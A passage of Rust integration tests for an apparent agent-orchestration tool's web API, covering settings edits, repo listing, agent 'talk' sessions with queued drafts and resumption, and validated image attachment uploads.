8143 let (_tmp, repo, machine) =
8144 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8145 let f = Fixture::with_repo_and_machine(repo, machine).await;
8146 let res = f.get("/api/settings").await;
8147 assert_eq!(res.status, 200, "{}", res.body);
8148 let v = res.json();
8149 assert!(v["error"].is_null(), "{v}");
8150 let role = |k: &str| {
8151 v["roles"]
8152 .as_array()
8153 .and_then(|r| r.iter().find(|x| x["key"] == k))
8154 .cloned()
8155 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8156 };
8157 assert_eq!(role("judges")["source"], "machine");
8158 assert_eq!(role("judges")["editable"], true);
8159 assert_eq!(role("implementers")["source"], "default");
8160 let adv = role("advisors");
8161 assert_eq!(adv["fallback"], "judges");
8162 assert!(
8163 adv["seats"]
8164 .as_array()
8165 .is_some_and(|s| s.iter().all(|x| x == "b")),
8166 "{adv}"
8167 );
8168 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8169 assert_eq!(v["agents"][0]["source"], "repo");
8170 }
8171
8172 #[tokio::test]
8173 async fn settings_get_reports_a_config_that_does_not_parse() {
8174 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8175 let f = Fixture::with_repo_and_machine(repo, machine).await;
8176 let res = f.get("/api/settings").await;
8177 assert_eq!(res.status, 200, "{}", res.body);
8178 let v = res.json();
8179 assert!(v["error"]["message"].is_string(), "{v}");
8180 assert!(
8181 v["error"]["path"]
8182 .as_str()
8183 .is_some_and(|p| p.ends_with("magi.toml")),
8184 "{v}"
8185 );
8186 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8187 }
8188
8189 #[tokio::test]
8190 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8191 let (_tmp, repo, machine) = settings_dirs(
8192 SETTINGS_AGENTS,
8193 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8194 );
8195 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8196 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8197 let rev = f.get("/api/settings").await.json()["revision"]
8198 .as_str()
8199 .expect("revision")
8200 .to_owned();
8201 let body = serde_json::json!({
8202 "revision": rev,
8203 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8204 })
8205 .to_string();
8206 let res = f.put("/api/settings/roles", &body).await;
8207 assert_eq!(res.status, 200, "{}", res.body);
8208 let text = std::fs::read_to_string(&machine).expect("machine");
8209 assert_eq!(
8210 text,
8211 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8212 );
8213 assert_eq!(
8214 std::fs::read(repo.join("magi.toml")).expect("read"),
8215 repo_before
8216 );
8217 let again = f.get("/api/settings").await.json();
8218 let judges = again["roles"]
8219 .as_array()
8220 .expect("roles")
8221 .iter()
8222 .find(|r| r["key"] == "judges")
8223 .expect("judges")
8224 .clone();
8225 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8226 let stale = f.put("/api/settings/roles", &body).await;
8228 assert_eq!(stale.status, 409, "{}", stale.body);
8229 }
8230
8231 #[tokio::test]
8232 async fn settings_put_refuses_without_touching_the_file() {
8233 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8234 let (_tmp, repo, machine) = settings_dirs(
8235 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8236 Some(machine_text),
8237 );
8238 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8239 let rev = f.get("/api/settings").await.json()["revision"]
8240 .as_str()
8241 .expect("revision")
8242 .to_owned();
8243 for roles in [
8244 serde_json::json!({ "judges": ["nope"] }),
8245 serde_json::json!({ "reviewers": ["b"] }),
8246 serde_json::json!({ "bogus": ["a"] }),
8247 ] {
8248 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8249 let res = f.put("/api/settings/roles", &body).await;
8250 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8251 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8252 assert_eq!(
8253 std::fs::read_to_string(&machine).expect("machine"),
8254 machine_text
8255 );
8256 }
8257 }
8258
8259 #[tokio::test]
8260 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8261 let tmp = TempDir::new().expect("tempdir");
8262 let repo = tmp.path().join("repo");
8263 std::fs::create_dir_all(&repo).expect("repo dir");
8264 let root = tmp.path().join("root");
8265 make_checkout(&root, "github.com", "yukimemi", "magi");
8266 std::fs::write(
8267 repo.join("magi.toml"),
8268 format!(
8269 "[repos]\nroots = [{:?}]\n",
8270 root.to_string_lossy().into_owned()
8271 ),
8272 )
8273 .expect("write magi.toml");
8274
8275 let f = Fixture::with_repo(repo).await;
8276 let res = f.get("/api/repos").await;
8277 assert_eq!(res.status, 200, "{}", res.body);
8278 let list = res.json();
8279 let repos = list.as_array().expect("an array");
8280 assert_eq!(repos.len(), 1);
8281 assert_eq!(repos[0]["name"], "yukimemi/magi");
8282 assert!(
8283 repos[0]["path"]
8284 .as_str()
8285 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8286 "{list}"
8287 );
8288 }
8289
8290 #[tokio::test]
8291 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8292 let tmp = TempDir::new().expect("tempdir");
8293 let repo = tmp.path().join("repo");
8294 std::fs::create_dir_all(&repo).expect("repo dir");
8295 let root = tmp.path().join("root");
8296 make_checkout(&root, "github.com", "yukimemi", "magi");
8297 std::fs::write(
8298 repo.join("magi.toml"),
8299 format!(
8300 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8301 root.to_string_lossy().into_owned()
8302 ),
8303 )
8304 .expect("write magi.toml");
8305
8306 let f = Fixture::with_repo(repo).await;
8307 let first = f.get("/api/repos").await;
8308 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8309
8310 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8313 let second = f.get("/api/repos").await;
8314 assert_eq!(
8315 second.json().as_array().map(Vec::len),
8316 Some(1),
8317 "a fresh cache must not rescan inside the TTL"
8318 );
8319
8320 let refreshed = f.get("/api/repos?refresh=1").await;
8321 assert_eq!(
8322 refreshed.json().as_array().map(Vec::len),
8323 Some(2),
8324 "an explicit refresh must rescan even inside the TTL"
8325 );
8326 }
8327
8328 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8334
8335 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8339 let tmp = TempDir::new().expect("tempdir");
8340 let repo = tmp.path().join("repo");
8341 std::fs::create_dir_all(&repo).expect("repo dir");
8342 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8343 let f = Fixture::with_repo(repo.clone()).await;
8344 (tmp, repo, f)
8345 }
8346
8347 #[tokio::test]
8348 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8349 let (_tmp, _repo, f) = talk_fixture().await;
8350
8351 let opened = f.post("/api/talks", None).await;
8354 assert_eq!(opened.status, 201, "{}", opened.body);
8355 let body = opened.json();
8356 assert_eq!(body["status"], "open");
8357 assert_eq!(
8358 body["turns"].as_array().unwrap().len(),
8359 0,
8360 "opening takes no agent turn: there is nothing yet to answer"
8361 );
8362
8363 let also_opened = f.post("/api/talks", Some("{}")).await;
8365 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8366
8367 let listed = f.get("/api/talks").await.json();
8368 assert_eq!(listed.as_array().unwrap().len(), 2);
8369 }
8370
8371 #[tokio::test]
8372 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8373 let tmp = TempDir::new().expect("tempdir");
8374 let repo = tmp.path().join("repo");
8375 std::fs::create_dir_all(&repo).expect("repo dir");
8376 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8377 std::fs::write(
8378 repo.join("magi.toml"),
8379 format!("{MOCK_AGENT_TOML}\n{second}"),
8380 )
8381 .expect("write magi.toml");
8382 let home = TempDir::new().expect("temp home");
8383 let talks = Talks::at(home.path().join("talks"));
8384 let ui = Arc::new(
8385 Ui::new(
8386 Queue::at(home.path().join("queue")),
8387 Questions::at(home.path().join("questions")),
8388 talks.clone(),
8389 home.path().join("runs"),
8390 home.path().to_path_buf(),
8391 repo.clone(),
8392 )
8393 .with_worktrees_root(home.path().join("wt")),
8394 );
8395 let cfg = config_for(&repo).await.expect("discover config");
8396 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8397 let id = talk.id.clone();
8398 let call = |agent: &str| {
8399 talk_agent(
8400 State(Arc::clone(&ui)),
8401 Path(id.clone()),
8402 Json(TalkAgent {
8403 agent: agent.to_owned(),
8404 }),
8405 )
8406 };
8407
8408 let unknown = call("nobody").await.expect_err("unknown agent");
8409 assert_eq!(
8410 unknown.status,
8411 StatusCode::BAD_REQUEST,
8412 "{}",
8413 unknown.message
8414 );
8415
8416 {
8417 let mut claimed = None;
8420 for _ in 0..200 {
8421 claimed = ui.begin_talk_turn(&id).expect("claim");
8422 if claimed.is_some() {
8423 break;
8424 }
8425 tokio::time::sleep(Duration::from_millis(10)).await;
8426 }
8427 let _busy = claimed.expect("free");
8428 let busy = call("second").await.expect_err("busy talk");
8429 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8430 }
8431 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8432
8433 let Json(view) = call("second").await.expect("switch");
8434 assert_eq!(view.talk.agent, "second");
8435 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8436 let saved = talks.get(&id).expect("reload");
8437 assert_eq!(saved.agent, "second");
8438 assert_eq!(saved.turns.len(), 1);
8439
8440 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8441 .await
8442 .expect("detail");
8443 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8444 assert_eq!(roster, ["mock", "second"]);
8445
8446 let mut closed = talks.get(&id).expect("reload");
8447 talk::close(&mut closed, &talks).expect("close");
8448 let refused = call("mock").await.expect_err("closed talk");
8449 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8450 }
8451
8452 #[tokio::test]
8453 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8454 let f = Fixture::start().await;
8455 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8456 let queue = f.queue();
8457 let mut mine = Task::new(
8458 "rename the loader".to_owned(),
8459 "rename the loader".to_owned(),
8460 PathBuf::from("/repo/magi"),
8461 Source::Agent {
8462 run: talk_id.clone(),
8463 node: "chat".to_owned(),
8464 },
8465 );
8466 queue.put(&mut mine).expect("file the task");
8467 let mut theirs = Task::new(
8468 "unrelated".to_owned(),
8469 "unrelated".to_owned(),
8470 PathBuf::from("/repo/magi"),
8471 Source::Human,
8472 );
8473 queue.put(&mut theirs).expect("file the task");
8474
8475 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8476 assert_eq!(res.status, 200, "{}", res.body);
8477 let body = res.json();
8478 assert_eq!(
8479 body["status"], "open",
8480 "filing a task does not close a talk"
8481 );
8482 let tasks = body["tasks"].as_array().expect("tasks array");
8483 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8484 assert_eq!(tasks[0]["id"], mine.id);
8485 }
8486
8487 #[tokio::test]
8488 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8489 let (_tmp, _repo, f) = talk_fixture().await;
8490 let id = f.post("/api/talks", None).await.json()["id"]
8491 .as_str()
8492 .expect("id")
8493 .to_owned();
8494
8495 let res = f
8496 .post(
8497 &format!("/api/talks/{id}/say"),
8498 Some(r#"{"text":"what does the queue module do?"}"#),
8499 )
8500 .await;
8501 assert_eq!(res.status, 202, "{}", res.body);
8502 let queued = res.json();
8503 let turns = queued["turns"].as_array().expect("turns array");
8504 assert_eq!(
8505 turns.len(),
8506 1,
8507 "the answer reflects only what is on disk the instant it is sent, \
8508 before the agent's turn - which can run for the whole of \
8509 `[graph] timeout_talk` - has a chance to land: {queued}"
8510 );
8511 assert_eq!(turns[0]["who"], "operator");
8512 assert_eq!(turns[0]["body"], "what does the queue module do?");
8513 assert_eq!(
8514 queued["thinking"], true,
8515 "the accepted response exposes the background turn claim: {queued}"
8516 );
8517
8518 let mut turns_after = 1;
8519 for _ in 0..SETTLE_STEPS {
8520 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8521 turns_after = detail["turns"].as_array().expect("turns array").len();
8522 if turns_after == 2 {
8523 break;
8524 }
8525 tokio::time::sleep(Duration::from_millis(10)).await;
8526 }
8527 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8528 }
8529
8530 #[tokio::test]
8557 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8558 let tmp = TempDir::new().expect("tempdir");
8559 let repo = tmp.path().join("repo");
8560 std::fs::create_dir_all(&repo).expect("repo dir");
8561 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8562 let home = TempDir::new().expect("temp home");
8563 let talks = Talks::at(home.path().join("talks"));
8564 let ui = Arc::new(
8565 Ui::new(
8566 Queue::at(home.path().join("queue")),
8567 Questions::at(home.path().join("questions")),
8568 talks.clone(),
8569 home.path().join("runs"),
8570 home.path().to_path_buf(),
8571 repo.clone(),
8572 )
8573 .with_worktrees_root(home.path().join("wt")),
8574 );
8575 let cfg = config_for(&repo).await.expect("discover config");
8576
8577 for delay in 0..40u32 {
8578 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8579 let id = talk.id.clone();
8580
8581 let handler = tokio::spawn(talk_say(
8582 State(Arc::clone(&ui)),
8583 Path(id.clone()),
8584 Ok(Json(NewTalkTurn {
8585 text: "what does the queue module do?".to_owned(),
8586 attachments: Vec::new(),
8587 })),
8588 ));
8589 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8590 handler.abort();
8591 let _ = handler.await;
8594
8595 let mut turns = 0;
8596 for _ in 0..SETTLE_STEPS {
8597 if let Ok(fresh) = talks.get(&id) {
8598 turns = fresh.turns.len();
8599 if turns != 1 {
8600 break;
8601 }
8602 }
8603 tokio::time::sleep(Duration::from_millis(10)).await;
8604 }
8605 assert_ne!(
8606 turns, 1,
8607 "delay {delay}: talk {id} recorded the operator's turn but \
8608 the agent never answered - the reply task was never \
8609 started after the handler future was dropped"
8610 );
8611 }
8612 }
8613
8614 #[tokio::test]
8659 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8660 let tmp = TempDir::new().expect("tempdir");
8661 let repo = tmp.path().join("repo");
8662 std::fs::create_dir_all(&repo).expect("repo dir");
8663 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8664 let home = TempDir::new().expect("temp home");
8665 let talks = Talks::at(home.path().join("talks"));
8666 let ui = Arc::new(
8667 Ui::new(
8668 Queue::at(home.path().join("queue")),
8669 Questions::at(home.path().join("questions")),
8670 talks.clone(),
8671 home.path().join("runs"),
8672 home.path().to_path_buf(),
8673 repo.clone(),
8674 )
8675 .with_worktrees_root(home.path().join("wt")),
8676 );
8677 let cfg = config_for(&repo).await.expect("discover config");
8678
8679 for attempt in 0..3u32 {
8680 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8681 let id = talk.id.clone();
8682 let turn_guard = ui
8685 .begin_talk_turn(&id)
8686 .expect("claim the turn")
8687 .expect("a fresh talk owes nobody a turn");
8688
8689 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8690 let (release_tx, release_rx) = std::sync::mpsc::channel();
8691 ui.set_busy_queue_gate(BusyQueueGate {
8692 reached: reached_tx,
8693 release: release_rx,
8694 });
8695
8696 let handler = tokio::spawn(talk_say(
8697 State(Arc::clone(&ui)),
8698 Path(id.clone()),
8699 Ok(Json(NewTalkTurn {
8700 text: "what does the queue module do?".to_owned(),
8701 attachments: Vec::new(),
8702 })),
8703 ));
8704
8705 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8710 .await
8711 .unwrap_or_else(|_| {
8712 panic!(
8713 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8714 )
8715 })
8716 .expect("the busy branch dropped the gate without using it");
8717
8718 let running = talks.get(&id).expect("reload talk");
8725 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8726
8727 handler.abort();
8731 let _ = handler.await;
8732
8733 let _ = release_tx.send(());
8739
8740 let mut fresh = talks.get(&id).expect("reload talk");
8743 for _ in 0..SETTLE_STEPS {
8744 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8745 break;
8746 }
8747 tokio::time::sleep(Duration::from_millis(10)).await;
8748 fresh = talks.get(&id).expect("reload talk");
8749 }
8750 assert!(
8751 fresh.pending.is_empty() && fresh.turns.len() == 2,
8752 "attempt {attempt}: talk {id} left the operator's text queued \
8753 with no drainer - the reclaimed turn was dropped along with \
8754 the handler future (pending {:?}, {} turns)",
8755 fresh.pending,
8756 fresh.turns.len()
8757 );
8758 }
8759 }
8760
8761 #[tokio::test]
8762 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8763 let (_tmp, _repo, f) = talk_fixture().await;
8764 let id = f.post("/api/talks", None).await.json()["id"]
8765 .as_str()
8766 .expect("id")
8767 .to_owned();
8768 let store = f.talks();
8769 let mut recovered = store.get(&id).expect("opened talk");
8770 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8771 .expect("persist pending draft without a live turn");
8772
8773 let edited = f
8774 .post(
8775 &format!("/api/talks/{id}/pending/edit"),
8776 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8777 )
8778 .await;
8779 assert_eq!(edited.status, 200, "{}", edited.body);
8780 assert!(edited.json()["thinking"].as_bool().unwrap());
8781
8782 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8783 for _ in 0..SETTLE_STEPS {
8784 if detail["turns"].as_array().expect("turns").len() == 2 {
8785 break;
8786 }
8787 tokio::time::sleep(Duration::from_millis(10)).await;
8788 detail = f.get(&format!("/api/talks/{id}")).await.json();
8789 }
8790 let turns = detail["turns"].as_array().expect("turns");
8791 assert_eq!(
8792 turns.len(),
8793 2,
8794 "the recovered draft must run once: {detail}"
8795 );
8796 assert_eq!(turns[0]["body"], "corrected");
8797 assert_eq!(detail["pending"], "");
8798 }
8799
8800 #[tokio::test]
8801 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8802 let tmp = TempDir::new().expect("tempdir");
8803 let repo = tmp.path().join("repo");
8804 std::fs::create_dir_all(&repo).expect("repo dir");
8805 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8806 let f = Fixture::with_repo(repo).await;
8807 let id = f.post("/api/talks", None).await.json()["id"]
8808 .as_str()
8809 .expect("id")
8810 .to_owned();
8811 let store = f.talks();
8812 let mut recovered = store.get(&id).expect("opened talk");
8813 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8814 .expect("persist pending draft without a live turn");
8815
8816 let refused = f
8817 .post(
8818 &format!("/api/talks/{id}/say"),
8819 Some(r#"{"text":"new message"}"#),
8820 )
8821 .await;
8822 assert_eq!(refused.status, 409, "{}", refused.body);
8823 assert!(refused.body.contains("resume"), "{}", refused.body);
8824 let saved = store.get(&id).expect("draft remains after refusal");
8825 assert!(saved.turns.is_empty());
8826 assert_eq!(saved.pending, "saved before restart");
8827
8828 let say_path = format!("/api/talks/{id}/say");
8829 let (first, second) = tokio::join!(
8830 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8831 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8832 );
8833 assert_eq!(first.status, 409, "{}", first.body);
8834 assert_eq!(second.status, 409, "{}", second.body);
8835 let saved = store
8836 .get(&id)
8837 .expect("draft remains after concurrent refusals");
8838 assert!(saved.turns.is_empty());
8839 assert_eq!(saved.pending, "saved before restart");
8840
8841 let resumed = f
8842 .post(&format!("/api/talks/{id}/pending/resume"), None)
8843 .await;
8844 assert_eq!(resumed.status, 202, "{}", resumed.body);
8845 let duplicate = f
8846 .post(&format!("/api/talks/{id}/pending/resume"), None)
8847 .await;
8848 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8849
8850 for _ in 0..SETTLE_STEPS {
8851 if store.get(&id).expect("talk").turns.len() == 2 {
8852 break;
8853 }
8854 tokio::time::sleep(Duration::from_millis(10)).await;
8855 }
8856 let finished = store.get(&id).expect("finished talk");
8857 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8858 assert_eq!(finished.turns[0].body, "saved before restart");
8859 assert!(finished.pending.is_empty());
8860 }
8861
8862 #[tokio::test]
8863 async fn an_image_only_recovered_draft_resumes_without_text() {
8864 let (_tmp, _repo, f) = talk_fixture().await;
8865 let id = f.post("/api/talks", None).await.json()["id"]
8866 .as_str()
8867 .expect("id")
8868 .to_owned();
8869 let uploaded = f
8870 .post_bytes(
8871 &format!("/api/talks/{id}/attachments"),
8872 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8873 PNG_BYTES,
8874 )
8875 .await;
8876 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8877 let attachment = f
8878 .talks()
8879 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8880 .expect("attachment metadata")
8881 .expect("stored attachment");
8882 let store = f.talks();
8883 let mut recovered = store.get(&id).expect("opened talk");
8884 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8885
8886 let resumed = f
8887 .post(&format!("/api/talks/{id}/pending/resume"), None)
8888 .await;
8889 assert_eq!(resumed.status, 202, "{}", resumed.body);
8890 for _ in 0..SETTLE_STEPS {
8891 if store.get(&id).expect("talk").turns.len() == 2 {
8892 break;
8893 }
8894 tokio::time::sleep(Duration::from_millis(10)).await;
8895 }
8896 let finished = store.get(&id).expect("finished talk");
8897 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8898 assert!(finished.turns[0].body.is_empty());
8899 assert_eq!(finished.turns[0].attachments.len(), 1);
8900 assert!(finished.pending_attachments.is_empty());
8901 }
8902
8903 #[tokio::test]
8904 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8905 let (_tmp, _repo, f) = talk_fixture().await;
8906 let id = f.post("/api/talks", None).await.json()["id"]
8907 .as_str()
8908 .expect("id")
8909 .to_owned();
8910 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8911 assert_eq!(closed.status, 200, "{}", closed.body);
8912 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8913 .expect("serialize closed talk");
8914 for (path, body) in [
8915 (format!("/api/talks/{id}/pending/resume"), None),
8916 (
8917 format!("/api/talks/{id}/pending/clear"),
8918 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8919 ),
8920 (
8921 format!("/api/talks/{id}/pending/edit"),
8922 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8923 ),
8924 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8925 ] {
8926 let response = f.post(&path, body).await;
8927 assert_eq!(response.status, 409, "{}", response.body);
8928 }
8929 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8930 .expect("serialize closed talk");
8931 assert_eq!(
8932 after_clear, before_clear,
8933 "clear must not rewrite a closed talk"
8934 );
8935 }
8936
8937 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8940
8941 #[tokio::test]
8942 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8943 let tmp = TempDir::new().expect("tempdir");
8944 let repo = tmp.path().join("repo");
8945 std::fs::create_dir_all(&repo).expect("repo dir");
8946 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8947 let f = Fixture::with_repo(repo).await;
8948 let id_a = f.post("/api/talks", None).await.json()["id"]
8949 .as_str()
8950 .unwrap()
8951 .to_owned();
8952 let id_b = f.post("/api/talks", None).await.json()["id"]
8953 .as_str()
8954 .unwrap()
8955 .to_owned();
8956
8957 let a = f
8958 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8959 .await;
8960 assert_eq!(a.status, 202, "{}", a.body);
8961 assert_eq!(a.json()["thinking"], true);
8962 let b = f
8963 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8964 .await;
8965 assert_eq!(b.status, 202, "{}", b.body);
8966 assert_eq!(b.json()["thinking"], true);
8967
8968 let listed = f.get("/api/talks").await.json();
8969 for id in [&id_a, &id_b] {
8970 let view = listed
8971 .as_array()
8972 .unwrap()
8973 .iter()
8974 .find(|talk| talk["id"] == *id)
8975 .unwrap();
8976 assert_eq!(view["thinking"], true, "{listed}");
8977 }
8978 let repeated = f
8979 .post(
8980 &format!("/api/talks/{id_a}/say"),
8981 Some(r#"{"text":"again"}"#),
8982 )
8983 .await;
8984 assert_eq!(repeated.status, 202, "{}", repeated.body);
8985 assert_eq!(repeated.json()["pending"], "again");
8986 }
8987
8988 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8991
8992 #[tokio::test]
8993 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8994 let f = Fixture::start().await;
8995 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8996
8997 let res = f
8998 .post_bytes(
8999 &format!("/api/talks/{id}/attachments"),
9000 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9001 PNG_BYTES,
9002 )
9003 .await;
9004 assert_eq!(res.status, 201, "{}", res.body);
9005 let body = res.json();
9006 assert_eq!(body["name"], "shot.png");
9007 assert_eq!(body["mime"], "image/png");
9008 assert_eq!(body["bytes"], PNG_BYTES.len());
9009 let att_id = body["id"].as_str().expect("id").to_owned();
9010 assert_eq!(
9011 att_id.len(),
9012 32,
9013 "the id must never be a client-suppliable path: {att_id}"
9014 );
9015
9016 let got = f
9017 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9018 .await;
9019 assert_eq!(got.status, 200, "{}", got.body);
9020 assert_eq!(got.header("content-type"), Some("image/png"));
9021 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9022 assert_eq!(got.bytes, PNG_BYTES);
9023 }
9024
9025 #[tokio::test]
9026 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9027 let f = Fixture::start().await;
9028 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9029
9030 let svg = f
9033 .post_bytes(
9034 &format!("/api/talks/{id}/attachments"),
9035 &[("Content-Type", "image/svg+xml")],
9036 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9037 )
9038 .await;
9039 assert!(
9040 (400..500).contains(&svg.status),
9041 "svg must be refused: {} {}",
9042 svg.status,
9043 svg.body
9044 );
9045 assert!(svg.body.contains("SVG"), "{}", svg.body);
9046
9047 let text = f
9048 .post_bytes(
9049 &format!("/api/talks/{id}/attachments"),
9050 &[("Content-Type", "text/plain")],
9051 b"just some text",
9052 )
9053 .await;
9054 assert!(
9055 (400..500).contains(&text.status),
9056 "an unlisted type must be refused: {} {}",
9057 text.status,
9058 text.body
9059 );
9060
9061 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9064 let big = f
9065 .post_bytes(
9066 &format!("/api/talks/{id}/attachments"),
9067 &[("Content-Type", "image/png")],
9068 &oversized,
9069 )
9070 .await;
9071 assert_eq!(
9072 big.status,
9073 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9074 "{}",
9075 big.body
9076 );
9077 }
9078
9079 #[tokio::test]
9080 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9081 let f = Fixture::start().await;
9082 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9083
9084 let res = f
9087 .post_bytes(
9088 &format!("/api/talks/{id}/attachments"),
9089 &[("Content-Type", "image/png")],
9090 b"<html>not a picture</html>",
9091 )
9092 .await;
9093 assert!((400..500).contains(&res.status), "{}", res.body);
9094 }
9095
9096 #[tokio::test]
9097 async fn an_unknown_attachment_id_is_a_404() {
9098 let f = Fixture::start().await;
9099 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9100
9101 let res = f
9102 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9103 .await;
9104 assert_eq!(res.status, 404, "{}", res.body);
9105 }
9106
9107 #[tokio::test]
9108 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9109 let f = Fixture::start().await;
9110 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9111
9112 let uploaded = f
9113 .post_bytes(
9114 &format!("/api/talks/{id}/attachments"),
9115 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9116 PNG_BYTES,
9117 )
9118 .await;
9119 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9120 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9121
9122 let res = f
9123 .post(
9124 &format!("/api/talks/{id}/say"),
9125 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9126 )
9127 .await;
9128 assert_eq!(res.status, 202, "{}", res.body);
9129 let queued = res.json();
9130 let turns = queued["turns"].as_array().expect("turns array");
9131 assert_eq!(
9132 turns.len(),
9133 1,
9134 "an empty body with an attachment is still a turn: {queued}"
9135 );
